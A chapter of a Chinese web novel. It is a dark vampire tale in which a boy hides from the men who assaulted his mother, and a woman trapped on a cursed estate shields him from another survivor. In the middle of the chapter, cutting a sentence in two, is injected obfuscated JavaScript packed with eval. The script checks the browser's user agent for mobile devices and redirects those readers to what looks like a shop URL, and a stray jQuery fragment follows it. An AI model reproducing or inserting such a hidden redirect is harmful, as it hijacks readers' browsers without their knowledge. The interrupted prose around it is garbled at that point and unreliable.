4. chapter 4

作品:《病态相依GB

    尤里躲在衣柜里,透过衣柜的缝隙,他看到了女人垂下的手。


    那是一只很漂亮的手,纤细而有力,无名指上戴着一枚戒指——他母亲的无名指也带着戒指,是名花有主的意思。


    尤里的目光挪向屋中的尸体,尸体无名指的那枚戒指黯淡无光,正如其主人一样毫无生命力。


    就在不久前,尤里还跟女仆们玩躲猫猫,他躲在母亲的衣柜里,这样就谁也发现不了。


    可透过衣柜的缝隙,尤里看到了一辈子都无法忘怀的一幕。


    在庄园歇脚的客人们推搡着他的母亲,他们将母亲的衣服撕开,然后压在母亲身上。


    母亲似乎看见了他,她哭着摇头,一声不吭地忍受了这一切。


    尤里知道,那些男人玷污了母亲,而母亲为了保护他不被发现吸引着这几个男人的注意力。


    等那些男人离开后,尤里从衣柜里爬出来,母亲抱住他,说让他好好的……


    尤里察觉出了什么,可母亲安慰着他,并一切如常地洗澡换衣。


    尤里以为这一切会过去的,明明一切都回到了正轨。


    可就在那些客人离开的第二天,母亲吊死在她的卧室,女仆们带着他东躲西藏。


    庄园里出现了很多陌生的面孔,他们抓走了尤里身边的女仆。


    他们说,母亲诅咒了他们。


    自那之后,他们会被阳光灼烧,还需要靠血液生存……


    当最后一个女仆被抓走后,尤里不知道该去哪里,他出不去庄园,只能躲在母亲的房间。


    尤里拽着母亲的衣角,多希望她可以睁开眼看看自己,可是没有。


    他不够高,够不到母亲脖颈上的绳子,无法把母亲放下来。


    尤里憎恨那些不速之客,也害怕那些人。


    有一次被抓到,他们中的一个人咬住他的脖颈喝血,如果不是太阳出来了,他绝对会死的。


    尤里讨厌这些陌生人,脖颈上的伤口结痂,可他再没有勇气走出这个房间给母亲报仇。


    他看着那些人自相残杀,看着一批又一批人出现在庄园。


    可他只敢躲在母亲的身后,躲在她的衣柜中不出声。


    直到今晚,天使推开了这扇门,她身着白衣,杀死了凌辱母亲的其中一个人。


    听着血液溅在地板上的声音,尤里的心脏跳得很快。


    看到白羊蜷成一团,尤里担心她的伤势。


    时间就在担忧中过去,尤里轻手轻脚钻出衣柜,蹑手蹑脚走向白羊。


    他蹲在白羊身旁,几乎屏住了呼吸。


    尤里听到了白羊的呼吸和心跳。


    她的呼吸是微弱的,心跳却平稳。


    黎明将至,稀薄的阳光从阳台溜了进来。


    尤里害怕有人进来,于是将阳台打开了,阳光能照到房内大半地方,一直到门上。


    眼看日头上来,尤里连忙去拉帘布,生怕白羊也像其他人一样,在阳光下就散了。


    尤里的动静太大,白羊察觉后瞬间清醒过来。


    她缓缓抬起头,目光中,一个小男孩正着急忙慌地拉窗帘。


    阳光还没接触到她就被挡了去。


    白羊愣住,她没想到,真能在这里找到庄园的小主人。


    尤里检查完没有阳光进来,一回头,对上了白羊的眼睛。


    两人都紧张了起来。


    两人都担心对方把自己当成坏人,两人都对对方抱着一种希望。


    白羊希望自己能从尤里口中得知离开庄园的办法,尤里则希望对方不要想其他人那样怨恨他。


    一大一小就这样紧张着,谁也没有开口。


    白羊忘记了组织语言并转换成英文,尤里则在想该怎么解释所谓的诅咒。


    最终,还是白羊先有了行动。


    白羊想起那封托孤信,她将手上的血往衣服上一蹭,然后将这封信折成纸飞机飞了过去。


    纸飞机停在了尤里脚边,他捡起展开,熟悉的字迹映入眼帘,他明白,对方是接受了母亲的托孤。


    “姐姐,咬开我的血管,喝下血液,它可以让你好受一点。”


    白羊怀疑自己翻译错了,但她想遍了其他所有意思,最终还是翻译出这样一句。


    小男孩举起的胳膊也表明了她的翻译没错。


    尤里的目光中有着什么在闪,白羊没看到。


    她的视线从小男孩的胳膊上移开,移到他那张因躲藏和饥饿而消瘦的脸上。


    白羊摇了摇头。


    她毫不怀疑,如果她真的那样做了,这个小男孩很有可能被吸干。


    “我没事。”


    白羊没被伤到要害,她腰上的只能算皮外伤,手上的倒是严重,不过问题不是很大。


    她能感觉得到,在这里,只要喝血,伤口恢复得很快。


    白羊被剪刀划伤的手就是这样恢复的。


    尤里依旧坚持,但白羊没再理会他。


    她不知道这里有没有其他规则,她怕就这样不管劳伦他突然诈尸活过来。


    于是,白羊用斗篷将自己捂严实,然后拖着劳伦去太阳下暴晒。


    看尸体在阳光下变成灰烬她才松了一口气。


    白羊在庄园里闲逛,她在找昨晚刷新的新人,又或者是弗兰德。


    白羊想不明白,身后这孩子一直跟着她,是把她当成母亲了吗?又或者是雏鸟情节?


    想不明白就算了。


    白羊不是个喜欢纠结的人,她喜欢在胡思乱想时做一些目标明确的事,这样大脑才不会被情绪支配。


    身后的小家伙饿得皮包骨,那双蓝眼睛却异常明亮。


    这孩子是少见的黑发蓝眼,这与白羊认知中的西方人有些偏差。


    在听到尤里肚子咕咕响起时,白羊找到了又一件可以做的事,她得给身后的小朋友找点吃的。


    “小朋友,你知道哪里有吃的吗?”


    尤里亦趋亦步跟着白羊,见她停下,忙刹住脚步。


    “姐姐,我的名字是尤里·安。”


    白羊很怀疑自己的表述有问题,但回想自己说出去的话,她的英文没问题。


    与其怀疑自己,不如怀疑这个小朋友饿疯了。


    排查的时候,白羊看到过厨房。


    尤里依旧跟着白羊,白羊走一步,他走一步,像跟在鸭妈妈身后的小鸭子一样。


    厨房落了层薄薄的灰,看起来有一段时间没人用了。


    白羊不会用西式的厨具,更别说她吃了大半辈子食堂的饭,动手做饭是不可能的。


    庄园的人死光了,但庄园里的作物还在。


    白羊在田里看了眼,发现有红薯。


    不仅如此,白羊还在厨房找到了半盒火柴。


    做饭可能不行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060145|195031||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,那烤个红薯呢?


    说做就做,白羊找到了一片空地,捡柴火,支堆,点火,用树枝把红薯串起来烤。


    在这期间,她需要转动红薯让它受热均匀。


    这样的工作枯燥,尤里却看得双眼放光。


    于是,白羊听着这孩子肚子咕咕的伴奏声,在试尝了无数次后终于烤熟了。


    或许因为白羊不是人,她的味觉变得有些奇怪,竟然觉得非常难吃。


    可她将烤好的红薯拿给尤里,后者吃得一脸满足。


    或许是饿疯了吧,白羊想。


    经此之后,白羊还是选择去寻找弗兰德先生的下落,她想,作为一位有妻女的男人,弗兰德先生一定会烧饭。


    -


    弗兰德是在一间女仆的房间里醒来的,他的记忆还停留在与劳伦先生一起喝葡萄酒。


    期间,他觉得视野模糊,就这样倒在了桌上。


    此时,他面前还有酒杯。


    弗兰德看向外边,根据经验来讲,天已经亮很久了。


    幸运的是,这处木屋偏僻,屋前还有树,这才把阳光遮挡住。


    不知过了多久,外头传来脚步声。


    与之一起响起的是那位艾瑞丝小姐的呼喊声。


    “弗兰德,你在这里吗?”


    弗兰德觉得奇怪,可又不知道哪里奇怪,他唯一知道的是,劳伦先生不见了。


    弗兰德怀疑过自己的酒量差,怀疑过庄园的诅咒,也没怀疑劳伦给他下药。


    当听到白羊的声音,他又马上出声。


    “艾瑞丝小姐,我在这里!”


    听到男人中气十足的声音,白羊就知道对方没什么大碍,甚至都没意识到发生了什么。


    尤里像个小尾巴一样紧紧跟在白羊身后,不知道为什么,他对这位天使一般的小姐……哦不,该称夫人,尤里对这位夫人有着无与伦比的信任,这不仅是因为母亲的信。


    弗兰德见到尤里时,眼中的惊喜很快被憎恶代替。


    在他想要扼住那孩子的脖颈时,白羊将两人隔开。


    “弗兰德先生,我想,我们该好好谈谈。”


    弗兰德正在气头上,他见到了这个让他变成吸血怪物的恶魔!


    他俯视着这个纤弱的异族女人,宽大的手掌捏住她的肩膀,似乎只要她再不让开就会被捏碎。


    “你该把他交给我!我会让他得到应有的教训。”


    肩膀上传来的疼痛让白羊皱眉,但她没有让开。


    “冷静!弗兰德,我不知道劳伦跟你说了什么,但那是错误的,你也有妻子和孩子,你忍心对一个失去母亲的孩子下手吗?”


    弗兰德想起了自己的妻子和女儿,可,正是这个受诅咒的庄园才让他有家不能回的不是吗?


    “艾瑞丝!你没资格这么说!如果不是他……”


    白羊抬起手,露出无名指上的戒指。


    “弗兰德,我也有丈夫,我也被困在这里!尤里只是个孩子!”


    “我知道你担心妻子和女儿,但我们换位想一想呢?如果有一天,你的妻子和女儿接待了一群客人……”


    弗兰德脑中回想起劳伦说的话,他说庄园只有女主人,故事的开始女主人接待了一群客人……


    弗兰德捏住白羊肩膀的手松开了,冷静下来后他后背冷汗连连。


    “你到底想说什么?”